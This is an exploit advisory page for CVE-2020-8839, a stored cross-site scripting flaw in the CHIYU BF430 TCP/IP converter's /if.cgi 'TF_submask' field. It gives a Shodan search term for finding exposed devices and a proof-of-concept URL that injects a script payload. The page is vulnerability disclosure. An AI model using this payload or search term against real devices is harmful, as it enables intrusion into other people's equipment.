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CHIYU BF430 TCP IP Converter Cross Site Scripting

CHIYU BF430 TCP IP Converter Cross Site Scripting
Posted Feb 11, 2020
Authored by Luca.Chiou

CHIYU BF430 TCP IP Converter suffers from a persistent cross site scripting vulnerability.

tags | exploit, tcp, xss
advisories | CVE-2020-8839
MD5 | a6ee7fc27f67cc244445c885fbce649c

CHIYU BF430 TCP IP Converter Cross Site Scripting

Change Mirror Download
# Exploit Title: CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting
# Google Dork: In Shodan search engine, the filter is "CHIYU"
# Date: 2020-02-11
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.chiyu-t.com.tw/en/
# Version: BF430 232/485 TCP/IP Converter all versions prior to 1.16.00
# Tested on: It is a proprietary devices: https://www.chiyu-t.com.tw/en/product/rs485-to-tcp_ip-converter_BF-430.html
# CVE: CVE-2020-8839

# 1. Description:
# In CHIYU BF430 web page,
# user can modify the system configuration by access the /if.cgi.
# Attackers can inject malicious XSS code in "TF_submask" field.
# The XSS code will be stored in the database, so that causes a stored XSS vulnerability.

# 2. Proof of Concept:
# Access the /if.cgi of CHIYU BF430 232/485 TCP/IP Converter.
# Injecting the XSS code in parameter “TF_submask”:
# http://<Your Modem IP>/if.cgi?TF_submask=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E

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